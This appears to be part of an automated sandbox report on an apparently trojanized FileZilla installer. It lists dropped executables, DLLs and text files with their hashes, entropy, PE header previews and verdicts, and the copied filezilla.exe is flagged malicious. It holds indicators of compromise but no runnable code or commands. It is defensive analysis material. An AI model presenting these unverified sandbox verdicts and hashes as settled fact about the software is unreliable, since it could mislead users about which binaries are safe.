SHA-512:	D65AC28F18AE9886F05F19FEB209B6B26199C9353928F304ED705EFA9E0632B66442FDE52E6FCABDC81A9B3B42BB3A751DF5E08929ACEA14ECBFB43294214664
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>.. fzdefaults.xml documentation.. The file fzdefaults.xml is used to provide system-wide default settings for. FileZilla... Usage:.. - Windows:.. Put the file fzdefaults.xml into the same directory as filezilla.exe.. - OS X:.. Modify the app bundle, put fzdefaults.xml into the. Contents/SharedSupport/ subdirectory.. - Other:.. Put fzdefaults.xml into one of the following directories (in order of precedence):.. - ~/.filezilla. - /etc/filezilla. - share/filezilla subdirectory of the install prefix... Default site manager entries:.. Create some new Site Manager entries and export the list of sites. Rename. the resulting XML file to fzdefaults.xml or copy the <Servers> block in it. to fzdefaults.xml. See example below... Global configuration settings.. Location of settings directory:.. By default, FileZilla stores its settings in the user's home directory. If.

C:\Program Files (x86)\Fzilla\filezilla.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4237896
Entropy (8bit):	6.110730164256856
Encrypted:	false
SSDEEP:	49152:AHzFL+1NfyOT3BxU4/pRjpjqEgpMDqiUy0mTr5FeD2Q+zO3CevC3hPsw3p8MXqAD:OhaT3fpR1TTzOjUhCfa
MD5:	71E87D8F4AB33DD57BFF41F76C339E64
SHA1:	D202FEA4DF82D26FABBFE3BDB9515A08D021CD09
SHA-256:	96816C715A54E596A9D12527D9BB0D2DBCBC02D2A73CE72A1FD36D634D3587CD
SHA-512:	79DD39320F7E5ABF261555959058508B0B1C5DFC72310DF90B61F76849421139C4466E071212D9CA4FBCBBB442AA36CE2DDFD5306660BE5E48D1A0F5CC0C0B21
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(..1..v@................ ..............................@.......@...`... .......................................<.H.....<..f...@?.h.... 8......z@.H0....?.(........................... .3.(.....................<.PN...........................text...(.0.......1.................`..`.data... ^....1..`....1.............@....rdata..l....p1......d1.............@..@.pdata....... 8.......8.............@..@.xdata...j... 9..l....9.............@..@.bss....`.....<..........................edata..H.....<......t<.............@..@.idata...f....<..h...v<.............@....CRT....`.... ?.......>.............@....tls.........0?.......>.............@....rsrc...h....@?.......>.............@....reloc..(.....?......z?.............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\fzputtygen.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	365128
Entropy (8bit):	6.476195284900398
Encrypted:	false
SSDEEP:	6144:pdSNRhY3pH7OehnYmHxlCuNNZRCuFECcColZTgcMRqNoa:rSNRC9dtRxlC8ZRiCKlZ0hRAZ
MD5:	B7F586891D88C64B4AB9B2571F887A3D
SHA1:	6B17313F7F078C88D30DEE96AF60AFF5DD43EA32
SHA-256:	64754DBA1DE747563CC2D991AE6CCDD5C022DE7F9C332AFE99125995E45FC16A
SHA-512:	506F8D4A5B4F30BD99038AEA3DCA98082F9341D1E9A868E0E1184B279FE30CFA23F2AEB3D0832D8E12E97B6A5726ED1AA41F80EA97F411A835997E034C788A4A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(.....^................. ..........................................`... .........................................F............................b..H0......h...........................`...(.......................h............................text...............................`..`.data........ ......................@....rdata.......0......................@..@.pdata...........0..................@..@.xdata...0... ...2..................@..@.bss.... ....`...........................edata..F............0..............@..@.idata...............2..............@....CRT....`............F..............@....tls.................H..............@....rsrc................J..............@....reloc..h............Z..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\fzsftp.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	664136
Entropy (8bit):	6.462814437736407
Encrypted:	false
SSDEEP:	12288:cTZBJ97RLnrlh6wqGX/DA8RYxQzaQ15uypHUZD7x7frn:cTZz3Lnrlh68DlYxa7HUZDN7frn
MD5:	B6E4E45F28622D545BD422FD05FB4B75
SHA1:	B012A486D7358862A52B0394F40461395A9C4B91
SHA-256:	223FD723F9C29B0B3A089777A02F05A11818F69642528A8E2D1D409BFCCF1423
SHA-512:	7AFAC1FC33B06A67DBB9E052F1A61FEADEB3675C209FDC11A2F6E86016C946FBF7E35E3D5DB298B8D7011F14DAEEDE64D4DCE99BA183CAA7A300DB1420364469
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(.~..................... .............................p............`... .........................................H.......t....P....... ...U......H0...`..X...............................(...................@................................text....}.......~..................`..`.data...............................@....rdata...~..........................@..@.pdata...U... ...V..................@..@.xdata..<U.......V...\..............@..@.bss....`................................edata..H...........................@..@.idata..t...........................@....CRT....`....0......................@....tls.........@......................@....rsrc........P......................@....reloc..X....`......................@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\fzshellext.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	34392
Entropy (8bit):	6.492079873395814
Encrypted:	false
SSDEEP:	768:v2/5ZWpdwrGUxnyiehH/kTjGyxZKaygOENAMxQrGR:eBZWpvWa4j7ZKNixP
MD5:	BDF18C4B774CD7B55207F1E9D82012F3
SHA1:	A3D14EBAB51A40B2BFF8AB47705277E5479E66EA
SHA-256:	37947C00A9BD815AECBEC34BEE41393346627E6F4FA4297B2BBA832539C206E5
SHA-512:	D4BAACEEF7D74CC9F50E6CB905333BB3B3EF1B8E8DA213CFE36F56677C6CC0E52B1E353904175F28DD9599EB38BE56F5F681F6B4B2DC48E53B0A0610B911FE11
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.V.........#...(.&...R...............@....(g......................................@... ......................................................V..H0...................................R......................x................................text...4%.......&..................`..`.data... ....@.......*..............@....rdata.......P.......,..............@..@/4...........`.......2..............@..@.bss....x....p...........................edata...............@..............@..@.idata...............B..............@....CRT....,............J..............@....tls.................L..............@....rsrc................N..............@....reloc...............R..............@..B........................................................................................................................................................................................

C:\Program Files (x86)\Fzilla\fzshellext_64.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32328
Entropy (8bit):	6.202278461544484
Encrypted:	false
SSDEEP:	768:et0BXkUBBBBBBBBBBBB6s8M+d6+7nv5H27aygOENAMxw:pBXkUBBBBBBBBBBBB9X+d6+tW7Nixw
MD5:	6E52EA74A11270107D488865A6C39283
SHA1:	327DC43A89D12DCE20D221854EE8A3EDFFAC7143
SHA-256:	D673C94A31126C3DAA8BE38A11A8FBB82771D5351278A9BDEA78F1800F4D5F82
SHA-512:	F4C20CD6E6BA7783F58A571006529E6FB5C0BB297135F02A5F6BE90EC4A704C03845B85E20275DE54BB63994FFA5A971ACF7B4DE34F0EAD94E2ACAA00BCFDE71
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.$...J...... ..............................................{.....`... .................................................x............`..<....N..H0......\|............................R..(....................................................text...8".......$..................`..`.data...`....@.......(..............@....rdata..@....P.......*..............@..@.pdata..<....`.......2..............@..@.xdata..,....p.......6..............@..@.bss.....................................edata...............:..............@..@.idata..x............<..............@....CRT....X............D..............@....tls.................F..............@....rsrc................H..............@....reloc..\|............L..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\fzstorj.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10312264
Entropy (8bit):	6.093734439509707
Encrypted:	false
SSDEEP:	196608:N474PITB45BLtG9sCkvf2C/2RrHxvZuNw5EstcMqkhYpuFQkS:84Perc
MD5:	FB4345E5F8C30AC2239265F14E1AE4EF
SHA1:	B989D0F2DAC59DD8A9C78D7B69F3CC8714949715
SHA-256:	BBDFD46773B11A15AE87751B81D504DB8C99052FF3D8927D28281ADEE4AF599C
SHA-512:	612185AAED17A82D372146242458E725C9C1843236B0F522B512677069FF1AC3AEC08CB5A3A567581B5875A033C40883E4BF131BCEAE4CF1C88142699DEB6B17
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(.>G..&...P............. .......................................`... .............................................. ..................\....*..H0...`...f..............................(....................#..x............................text....=G......>G.................`..`.data........PG......BG.............@....rdata....M...K...M...K.............@..@.pdata..\...........................@..@.xdata..t...........................@..@.bss....0N..............................idata....... ......................@....CRT....`....@......................@....tls.........P......................@....reloc...f...`...h.................@..B................................................................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-0BL99.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	275016
Entropy (8bit):	7.3948843481974595
Encrypted:	false
SSDEEP:	6144:IExBQVThIgKaZ0ElKZfwDsp+p5+gAHurSV8rpkrnNe:7QJhIXRElofAMu57AIJ+Ne
MD5:	B9659C9DB3020A567895CDF7C488241D
SHA1:	E1A66633D5DFFE525A7BC9126A9702AC9557EFD0
SHA-256:	D9357868DA3357544A9EEA3E00C8E4AC9A658EC57D7EC0991793605C268F4932
SHA-512:	6E1D451430061EDA1BBB44AA304D3373AE8B27236985FA834A44C0C9BEFA719C39E531CC2664AAE0A880FB303BA7F82A2EE82D7751C3CDEBE0E1498F3E7B0795
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.8.......... ..........$..........................................`... .........................................+(...@..x...............\.......H0......................................(...................XD...............................text...h6.......8..................`..`.data...0....P.......<..............@....rdata...W...`...X...>..............@..@.pdata..\...........................@..@.xdata..............................@..@.bss.....................................edata..+(.......*..................@..@.idata..x....@......................@....CRT....X....`......................@....tls.........p......................@....reloc..............................@..B........................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-0UGH2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	241224
Entropy (8bit):	6.534901408167667
Encrypted:	false
SSDEEP:	6144:4nClFOtV9yvLwdZRLFfn4lShPNEoDHHpwpFLhfNg:4BVQgRLFfPh1E+HpeVg
MD5:	B601DCEBC1773697ED196B2BC2949015
SHA1:	55D70ABBD9E036439886FCBB063748E941F6C4CB
SHA-256:	69FE54FD781FF70B752E8CEDEE29BE21E938CC8D85CA08DBDD688469667BF6A8
SHA-512:	70A66D0CB38B110284A80371D6DAF8FA80503A948550803129BAC9A26CAF4BB3EB3201254395A78984E7C8C040762183FAF0C125AFAA61CF52EF662FC4B7F1AE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...#.....z......P..........h....................................\|.....`... ..............................................................@..L....~..H0......d........................... 7..(...................P................................text...............................`..`.data...p...........................@....rdata...N.......N..................@..@.pdata..L....@......................@..@.xdata.......`.......8..............@..@.bss.....................................edata...............P..............@..@.idata...............n..............@....CRT....X............x..............@....tls.................z..............@....reloc..d............\|..............@..B........................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-3N89B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32328
Entropy (8bit):	6.202278461544484
Encrypted:	false
SSDEEP:	768:et0BXkUBBBBBBBBBBBB6s8M+d6+7nv5H27aygOENAMxw:pBXkUBBBBBBBBBBBB9X+d6+tW7Nixw
MD5:	6E52EA74A11270107D488865A6C39283
SHA1:	327DC43A89D12DCE20D221854EE8A3EDFFAC7143
SHA-256:	D673C94A31126C3DAA8BE38A11A8FBB82771D5351278A9BDEA78F1800F4D5F82
SHA-512:	F4C20CD6E6BA7783F58A571006529E6FB5C0BB297135F02A5F6BE90EC4A704C03845B85E20275DE54BB63994FFA5A971ACF7B4DE34F0EAD94E2ACAA00BCFDE71
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.$...J...... ..............................................{.....`... .................................................x............`..<....N..H0......\|............................R..(....................................................text...8".......$..................`..`.data...`....@.......(..............@....rdata..@....P.......*..............@..@.pdata..<....`.......2..............@..@.xdata..,....p.......6..............@..@.bss.....................................edata...............:..............@..@.idata..x............<..............@....CRT....X............D..............@....tls.................F..............@....rsrc................H..............@....reloc..\|............L..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\is-3PB36.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1834568
Entropy (8bit):	6.2936556054013995
Encrypted:	false
SSDEEP:	49152:KRrndVVhHn/uy9dG8e4QbyKK/0QXcD0nne/9IvypSHdoVuE:KRzjD/uOa
MD5:	8427C77D9B6D1CAA6CD9CDABA2B5CDDD
SHA1:	E345BFF441E24E545E2700F4C7BC53512A88AD3D
SHA-256:	9133664CFB764C1C5E6D7BB61971FDF28EBAC39F97F46E4B95D840776CEA5104
SHA-512:	5BCC34F45858DCE875092769B5CBB965058F74FB47AF995C615530B9E6CE3FC1641562C89D3ABF37750795D9ADF4FA6C1D46BF03A8CD7EA36D695018E41A2016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(............ .........%K.............................@............`... ..................................................A...........P..........H0.......?...........................x..(...................P...`............................text...............................`..`.data....=.......>..................@....rdata.......0......................@..@.pdata.......P.......*..............@..@.xdata..............................@..@.bss.....................................edata...............R..............@..@.idata...A.......B...B..............@....CRT....X...........................@....tls................................@....rsrc...............................@....reloc...?.......@..................@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\is-5P94A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240712
Entropy (8bit):	6.328488485792127
Encrypted:	false
SSDEEP:	3072:WJjNa9pUfMtALsdAa3o8/BZzLVhtE4EaAgGJokkrRmLSaqF/z7MGHytZoXLar+Ne:e09pUfAcsqaPNhtEgTAFlLUytZo7aiNe
MD5:	936228E06FF2A7B4FDCE8F1DF34F8B0D
SHA1:	B730A6702459B4CF87528BE87D33928D89543AB2
SHA-256:	751F69B699356099CCB962FE42509DCE116B15425F1FB426655355FC466D1CE9
SHA-512:	809995C5FEC0ED93C8690ED6205FE50F198AA742BE8F01E3E0A367CAD7FF1AF0461D8D9AFF7E90A88142DCACF92CDA47CB5CB9F3E69411C5B043841B24533D61
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.....x...... .........$)....................................Y.....`... ..............................................................@.......\|..H0......@...........................`2..(...................`................................text...............................`..`.data...............................@....rdata...l.......n..................@..@.pdata.......@......................@..@.xdata.. ....`......................@..@.bss.....................................edata...............H..............@..@.idata...............T..............@....CRT....X............n..............@....tls.................p..............@....rsrc................r..............@....reloc..@............x..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\is-5SMFM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1416264
Entropy (8bit):	6.3066140079441775
Encrypted:	false
SSDEEP:	24576:b4V5JRUtKq9bMxRpPJCzwA7+YhGUnGcSbvb:b4VLuZMx9Cr7+ELcD
MD5:	C6974FE4D03E39E7548C0A2AF31EEC09
SHA1:	2508FFC125A618F1A5AA7DB1032878B07A02FA11
SHA-256:	E90B03790C12AE938ABB01DF86709E546B7E73FE65BC8E4BDC7824C90CD3405D
SHA-512:	B39326565FABCAF79C6AECB14AAE22265E8FD31EA72034C6DC5FF6CDECA4230D2CDBE176616A94145EFDD72EBA228CE099653C6B70008B229375C881469C977F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(.....h...... .......... ..........................................`... ..............................................@...Y...............p...l..H0..................................@8..(....................K..(............................text...............................`..`.data...P.... ......................@....rdata.......@......................@..@.pdata...p.......r..................@..@.xdata.......P...0...$..............@..@.bss.....................................edata...............T..............@..@.idata...Y...@...Z..................@....CRT....X............Z..............@....tls.................\..............@....reloc...............^..............@..B........................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-68M3B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	664136
Entropy (8bit):	6.462814437736407
Encrypted:	false
SSDEEP:	12288:cTZBJ97RLnrlh6wqGX/DA8RYxQzaQ15uypHUZD7x7frn:cTZz3Lnrlh68DlYxa7HUZDN7frn
MD5:	B6E4E45F28622D545BD422FD05FB4B75
SHA1:	B012A486D7358862A52B0394F40461395A9C4B91
SHA-256:	223FD723F9C29B0B3A089777A02F05A11818F69642528A8E2D1D409BFCCF1423
SHA-512:	7AFAC1FC33B06A67DBB9E052F1A61FEADEB3675C209FDC11A2F6E86016C946FBF7E35E3D5DB298B8D7011F14DAEEDE64D4DCE99BA183CAA7A300DB1420364469
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(.~..................... .............................p............`... .........................................H.......t....P....... ...U......H0...`..X...............................(...................@................................text....}.......~..................`..`.data...............................@....rdata...~..........................@..@.pdata...U... ...V..................@..@.xdata..<U.......V...\..............@..@.bss....`................................edata..H...........................@..@.idata..t...........................@....CRT....`....0......................@....tls.........@......................@....rsrc........P......................@....reloc..X....`......................@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\is-6EDME.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3391029
Entropy (8bit):	6.5176517365945275
Encrypted:	false
SSDEEP:	98304:PJYVM+LtVt3P/KuG2ONG9iqLRQE9333TK:eVL/tnHGYiql5FK
MD5:	EE0853EED37530F2C0885B574BBBB35B
SHA1:	DFE132771BA69E289B80DD20F3852B848D526ECD
SHA-256:	E8358851127192192E19BC90EF7B49ABD1FC8B6F42EA67602B3005E3DC6CFF22
SHA-512:	6221A30D936BEF74DEE38F5961EA42F173DF774A6F48406EAC86C643D18A34967D5A63607233DB92C1B1D3A8C23B909B3650E9EB65D8441618D777BAFFFB8ECA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Fzilla\is-6M3HV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10312264
Entropy (8bit):	6.093734439509707
Encrypted:	false
SSDEEP:	196608:N474PITB45BLtG9sCkvf2C/2RrHxvZuNw5EstcMqkhYpuFQkS:84Perc
MD5:	FB4345E5F8C30AC2239265F14E1AE4EF
SHA1:	B989D0F2DAC59DD8A9C78D7B69F3CC8714949715
SHA-256:	BBDFD46773B11A15AE87751B81D504DB8C99052FF3D8927D28281ADEE4AF599C
SHA-512:	612185AAED17A82D372146242458E725C9C1843236B0F522B512677069FF1AC3AEC08CB5A3A567581B5875A033C40883E4BF131BCEAE4CF1C88142699DEB6B17
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f...............(.>G..&...P............. .......................................`... .............................................. ..................\....*..H0...`...f..............................(....................#..x............................text....=G......>G.................`..`.data........PG......BG.............@....rdata....M...K...M...K.............@..@.pdata..\...........................@..@.xdata..t...........................@..@.bss....0N..............................idata....... ......................@....CRT....`....@......................@....tls.........P......................@....reloc...f...`...h.................@..B................................................................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-75899.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1279560
Entropy (8bit):	6.379044258260396
Encrypted:	false
SSDEEP:	24576:GjI5ALcbs7Y+GjUa33J8/yt9rgLqLMfKyN1vCQ8tZl15R42C8iF2f7f6QIPd:G85ALGs7zGjUa33FdMSyN16Q8n96tV
MD5:	00E95089AC6F7E58770E459D970A946E
SHA1:	8038AA8F2B8AD078A6BD57ABDEC442552140E38B
SHA-256:	ED894FDA80288A911F0147A5B56C6ACFE653CFC89462C5981AC529C607B973C5
SHA-512:	EC223936F3BECD2AF21EF94C77AEE7E84536E1A18CC4D3F271E8C0F30B87E333DA955913780EDB13D1691EB7D8B1F7B6F2E0CA0D210A74DE78140AF758883A7F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...#.....R......P.........8f.............................................. ......................................@..."...p...............P..d_...V..H0...................................I..(....................s..H............................text..............................`..`.data...P?.......@..................@....rdata..@^.......`..................@..@.pdata..d_...P...`...>..............@..@.xdata...p.......r..................@..@.bss.........0...........................edata..."...@...$..................@..@.idata.......p.......4..............@....CRT....X............D..............@....tls.................F..............@....reloc...............H..............@..B........................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-A7Q49.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	506952
Entropy (8bit):	6.274533174613519
Encrypted:	false
SSDEEP:	12288:CudHeLTOkfbIlqYU6W4ZXppA6V+QwqBFd1FpQTzXaGU12p4jGLyyy6fE:HoLTOSgw4ZXppzV+QwqBFd1FpQTzXaGo
MD5:	42840F69814A9E9CAA351F07888ABADC
SHA1:	611E6C7881256E2ECFD2D8580C4DF63B3E202B4D
SHA-256:	140BA3865DEE4E02168634BF4C301D81230122E4E60D383EF002E984B8569D23
SHA-512:	23C7A0F8EE4F3EDA26BB866BD51E457598A229450D08EC9A4BBEF0538B50F02CB088D8BE3CF8B82E0B2DD30C034A11A96B87C581166C4B55D88233C088BE8DFF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....f..........."...(............ ........................................ ......y.....`... .............................................. ...................1......H0...................................K..(....................7...............................text...X...........................`..`.data...0...........................@....rdata..L....0......................@..@.pdata...1.......2..................@..@.xdata..hf.......h..................@..@.bss.....................................edata...............D..............@..@.idata....... ......................@....CRT....X............l..............@....tls.................n..............@....rsrc................p..............@....reloc...............v..............@..B................................................................................................................................

C:\Program Files (x86)\Fzilla\is-BVQAD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	102389
Entropy (8bit):	7.060881756904112
Encrypted:	false
SSDEEP:	3072:LnPdzuK8Jdw4TMJw3u4Psvbu2xXGGGGGGGGHGGGGGGGGGGGGGGGGGGGGGGGGGGGT:LnPdudwDUPabueGGGGGGGGHGGGGGGGGs
MD5:	876EA9087D9A61D5A30BFA0E20DC6536
SHA1:	7B27EE0095D9447B4DE56BAFF28C263871910A61
SHA-256:	31A8675ABA5F63423939E361ECD09F3A5D0922AF5F7A102000E0CD81B8EB0BB9
SHA-512:	696627812512FDAA0791E8C8EADBC5D56D82B8AC1AFFE128650E669D1FC8F608A1704CA7B18159137F7A8F97CE3EE3786532CD8908858F3BB464CAD918FC2C4A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...g.d.................h..."......E6............@.................................~.....@.............................................................H0...........................................................................................text....f.......h.................. ..`.rdata..X............l..............@..@.data...x...........................@....ndata...p...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Fzilla\is-CA7M9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	121547
Entropy (8bit):	4.837305256829653
Encrypted:	false
SSDEEP:	1536:O7XfvUwBWWjVQLFGoTZ9XHQTbyGaU5A+tKvdTLGYKlTVu:kfvH8LTZ2T0sdmIRu
MD5:	326491281E95D6D7695CA7935D45D5B8
SHA1:	4DCFEEB96AFFEC72BBF78DB3901DFA6D6456B3B7
SHA-256:	F2603ABF98CEBF72C1F4A5C92BA9FF6C9284E3E35867F94B69735E0ED4472E9B
SHA-512:	E6C35F0D488F1BEDD08F4D871C051E5FDF6D5B9EA2C55096572E5F9CB9C8F8180D1EE69712994B963F7ACAC77F39977F1D4592A2D07948855BAE9CB6DF0499AB
Malicious:	false
Preview:	This file only lists a short summary of the changes between FileZilla versions. For a full list of changes, please read the ChangeLog file...Legend:. ! Security related bugfix or otherwise critical bugfix. + New feature or important bugfix. - Bugfixes and other changes.. Platform prefixes:. MSW: Microsoft Windows. *nix: Unix (e.g BSD) and Unix-like systems (e.g. Linux). macOS/OS X: Apple macOS..3.67.1 (2024-07-10)..- MSW: Fixed an issue with confirmation dialogs for file deletion not being modal.- Updated to libfilezilla 0.48.1..3.67.1-rc1 (2024-06-27)..- Fixed an issue migrating old queue files if several older versions have been skipped.- Updated to libfilezilla 0.48.0..3.67.0 (2024-04-15)..! SFTP: Fixed PuTTY ECDSA NIST P-521 private key recovery vulnerability (CVE-2024-31497). If you use NIST P-521 keys to connect to SSH/SFTP servers, you should regenerate them and revoke the previous ones..! Official binaries are now built against GnuTLS 3.8.4.- Updated to libfilezill

C:\Program Files (x86)\Fzilla\is-CBLQR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	650312
Entropy (8bit):	6.665899886147216
Encrypted:	false
SSDEEP:	6144:Kebcmt5c/2jZLGvCO4y5iqIJuYuvTwN0to09U0OSMgAY/rzknw30sP9aVOOP46ye:Zcmt5OEL4lr3m0EpCiOaOKy3yQs/Io62
MD5:	C0CA8705BA9DB5FDC359C1096E25E37F
SHA1:	8A6856095C7D5D5329200BA5E16FEF60D5190504
SHA-256:	ED0AE7D0B532810F5132406228A696F51D59328D0264D552F022563F42F556A1
SHA-512:	28AC7A944D9B1DB970E980A1116EC6629F9AEC71547BCB61964266BB6DE69C9D5E54D5F401A426166788083787A9AFB0919391C65F351BE1BAF899A2D9162B90
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
